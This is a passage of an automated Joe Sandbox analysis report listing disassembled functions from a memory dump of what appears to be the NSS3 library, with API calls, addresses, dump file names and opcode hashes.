_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5385D2,00000000,?,?), ref: 6C654FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6550C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6550D6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: a8a5de55124a78a5b8f56be501473cbabe3a9da9be7cdb63fb19645adce61d3d
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 444181B2A002118FCB18CF18DCE179AB7E1BF4431871D466DD84ACBB02E375E8A1CB85

Function 6C57FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C57FDFE), ref: 6C57FFAD

Part of subcall function 6C51CA30: EnterCriticalSection.KERNEL32(?,?,?,6C57F9C9,?,6C57F4DA,6C57F9C9,?,?,6C54369A), ref: 6C51CA7A
Part of subcall function 6C51CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C51CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C57FDFE), ref: 6C57FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C57FDFE), ref: 6C58001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C57FDFE), ref: 6C58006F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 1f6a91f9899a7d3f5e7b989eba385f1a69c17803ba27242d22dc21b27c7236c4
Instruction ID: 4d7bbc05060a4d8a72cf30739387fd2b86d846b979782f804c5f195a774f2874
Opcode Fuzzy Hash: 1f6a91f9899a7d3f5e7b989eba385f1a69c17803ba27242d22dc21b27c7236c4
Instruction Fuzzy Hash: 7841E2B1B06225DFDB08DF66ECC5ABE7771FB89314F04002AD81693B40DB35A911CBA9

Function 6C667DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C667E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C667EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C667EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C667ED8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 355ad93e9932db53f1bc8e605e893312bbab5fbd18116e61f327e0c3fea26040
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 1C3195B1A011118FDB04CF09DC9099ABBE2FFC8318B1B8169D8595BB11EB71EC56CBD5

Function 6C61DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5BAE42), ref: 6C5A30AA
Part of subcall function 6C5A3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A30C7
Part of subcall function 6C5A3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5A30E5
Part of subcall function 6C5A3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5A3116
Part of subcall function 6C5A3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A312B
Part of subcall function 6C5A3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5A3154
Part of subcall function 6C5A3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C61DBBD), ref: 6C61DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61DFEE

Part of subcall function 6C5B86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8716
Part of subcall function 6C5B86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8727
Part of subcall function 6C5B86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B873B
Part of subcall function 6C5B86D0: PR_Unlock.NSS3(?), ref: 6C5B876F
Part of subcall function 6C5B86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C5B8787

Part of subcall function 6C5DF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5DF854
Part of subcall function 6C5DF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5DF868
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5DF882
Part of subcall function 6C5DF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5DF889
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5DF8A4
Part of subcall function 6C5DF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5DF8AB
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5DF8C9
Part of subcall function 6C5DF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5DF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C61DBBD), ref: 6C61DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C61DBBD), ref: 6C61E007

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 24293a2e4d2ba666f2c3ea973c661cc94f382fa61ac415dcf40db46d875b6d3e
Instruction ID: 12f46f50c21c4981196cd5c61c5cd0774d3225e4a92a8e3d900aa92f91fdff57
Opcode Fuzzy Hash: 24293a2e4d2ba666f2c3ea973c661cc94f382fa61ac415dcf40db46d875b6d3e
Instruction Fuzzy Hash: 5031E9B1A082015BD7019E7E9C85A9B72B8AF9530DF050135E909D7F53FB31DA18C3EA

Function 6C596C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C596C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C596CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C596CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C6B8FE0), ref: 6C596CFE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: b95bc254ce5be4ddb0319fff5315743a14e2b00d1557f5aab6169134566935e1
Instruction ID: ef9417d5bbb26a9c6023d05a85c3f44af9be8cfb799d19c4bcc963ffa8b9bc5f
Opcode Fuzzy Hash: b95bc254ce5be4ddb0319fff5315743a14e2b00d1557f5aab6169134566935e1
Instruction Fuzzy Hash: 46317EB1A003169FDB08DF65CC91ABFBBF9EB89248B14446DD915E7710EB319909CBE0

Function 6C6A4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C6A4F5D
free.MOZGLUE(?), ref: 6C6A4F74
free.MOZGLUE(?), ref: 6C6A4F82
GetLastError.KERNEL32 ref: 6C6A4F90

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 24b2969bd7fd175a596fce812d205cc17881959264b0ef430ba72e517463ca70
Instruction ID: 17ef0a1d63a6b47b56f96f71868d5f078f178de864b00814f4d2077006fad1f0
Opcode Fuzzy Hash: 24b2969bd7fd175a596fce812d205cc17881959264b0ef430ba72e517463ca70
Instruction Fuzzy Hash: 10314D75A042095BDB01CFA9DC81BEBB3B8EF89358F041125EC15A7641DF74DD068699

Function 6C5EDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C5EDDB1,?,00000000), ref: 6C5EDDF4

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C5EDDB1,?,00000000), ref: 6C5EDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C5EDDB1,?,00000000), ref: 6C5EDE17

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C5EDE80

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 62fec360c8dbcddda391f225a25e418ea58553ccb64d18de8b7eb420805fa3b9
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: A931C4B29017429BE710CF16CC84652F7E4BFE9318B24862AD81D87B01E771E4A4CF80

Function 6C5DFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C5B5ADC,?,00000000,00000001,?,?,00000000,?,6C5ABA55,?,?), ref: 6C5DFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5DFE5F
PR_Unlock.NSS3(78831D74), ref: 6C5DFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C5DFED6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f27ecbea90bafaf2f4627fcc7bdf3b08306c8f647b41361fb58961690b7e8a86
Instruction ID: b23511a5d01bb9da030401bcd34f1374e16dd15abdedcb2fcddaa339f3715493
Opcode Fuzzy Hash: f27ecbea90bafaf2f4627fcc7bdf3b08306c8f647b41361fb58961690b7e8a86
Instruction Fuzzy Hash: 57213431A00326ABD7809F69DC4479A77B4FF05358F0A0225DC09A7A42E730F928CBD9

Function 6C5E3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C5E3440: PK11_GetAllTokens.NSS3 ref: 6C5E3481
Part of subcall function 6C5E3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5E34A3
Part of subcall function 6C5E3440: TlsGetValue.KERNEL32 ref: 6C5E352E
Part of subcall function 6C5E3440: EnterCriticalSection.KERNEL32(?), ref: 6C5E3542
Part of subcall function 6C5E3440: PR_Unlock.NSS3(?), ref: 6C5E355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C5CE80C,00000000,00000000,?,?,?,?,6C5D8C5B,-00000001), ref: 6C5E3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C5CE80C,00000000,00000000,?,?,?,?,6C5D8C5B,-00000001), ref: 6C5E3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C5CE80C,00000000,00000000,?,?,?,?,6C5D8C5B,-00000001), ref: 6C5E3FFE
PR_SetError.NSS3 ref: 6C5E401A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: a533e52a58ba91f5397a50fa5d6d72f321da81003d51bfba7dab217fe017be81
Instruction ID: db16e8cb059b3bcc29681b9332be17eae01fa34a4bf38cd7de1cc07cd3673ef4
Opcode Fuzzy Hash: a533e52a58ba91f5397a50fa5d6d72f321da81003d51bfba7dab217fe017be81
Instruction Fuzzy Hash: 03315E74508704CFD700EF69D98466EBBF0FF89354F15592AD8998BB10EB30E884CB96

Function 6C5D4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C5DB60F,00000000), ref: 6C5D5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C5DB60F,00000000), ref: 6C5D501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C5DB60F,00000000), ref: 6C5D504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C5DB60F,00000000), ref: 6C5D5064

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: fe58936b01c3bdc04bdb345e4d5a9c9036d39a12ed9a3ac41c15d438cc25edb8
Instruction ID: 56acc43a690a9eaf36ca96174261dc359ac39ab6bef560c3319d9db70c48969d
Opcode Fuzzy Hash: fe58936b01c3bdc04bdb345e4d5a9c9036d39a12ed9a3ac41c15d438cc25edb8
Instruction Fuzzy Hash: AF3116B0A05706DFDB00EF69D88466ABBF4FF48304F158929D859D7700E730E894CB96

Function 6C5F9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C5FA71A,FFFFFFFF,?,?), ref: 6C5F9FAB

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C5FA71A,6C5FA71A,00000000), ref: 6C5F9FD9

Part of subcall function 6C5F1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F136A
Part of subcall function 6C5F1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F137E
Part of subcall function 6C5F1340: PL_ArenaGrow.NSS3(?,6C58F599,?,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?), ref: 6C5F13CF
Part of subcall function 6C5F1340: PR_Unlock.NSS3(?,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C5FA71A,6C5FA71A,00000000), ref: 6C5FA009
PR_SetError.NSS3(FFFFE013,00000000,6C5FA71A,6C5FA71A,00000000), ref: 6C5FA045

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 9f2020aac82b9cccddfcda0bce25cafad396f138f4097abca230a1b05631b3b0
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 3C2153B4600206ABF7089F15EC50F66B7A9BB8535CF148128983987B81FB76E815CF91

Function 6C602DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C602E08

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C602E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C602E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C602E95

Part of subcall function 6C5F1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5988A4,00000000,00000000), ref: 6C5F1228
Part of subcall function 6C5F1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5F1238
Part of subcall function 6C5F1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5988A4,00000000,00000000), ref: 6C5F124B
Part of subcall function 6C5F1200: PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0,00000000,00000000,00000000,?,6C5988A4,00000000,00000000), ref: 6C5F125D
Part of subcall function 6C5F1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5F126F
Part of subcall function 6C5F1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5F1280
Part of subcall function 6C5F1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5F128E
Part of subcall function 6C5F1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5F129A
Part of subcall function 6C5F1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5F12A1

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: e775a972b6c3903e70dfca6a57c79016c21c619ef47f8bd09dadec3728ca4ab5
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 9F2129B1E403418BE704CF549E447AB3764AFD130CF110269DD1C6B742F7B2E9998695

Function 6C5BACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5BACC2

Part of subcall function 6C592F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C592F0A
Part of subcall function 6C592F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C592F1D

Part of subcall function 6C592AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C590A1B,00000000), ref: 6C592AF0
Part of subcall function 6C592AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C592B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C5BAD5E

Part of subcall function 6C5D57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C59B41E,00000000,00000000,?,00000000,?,6C59B41E,00000000,00000000,00000001,?), ref: 6C5D57E0
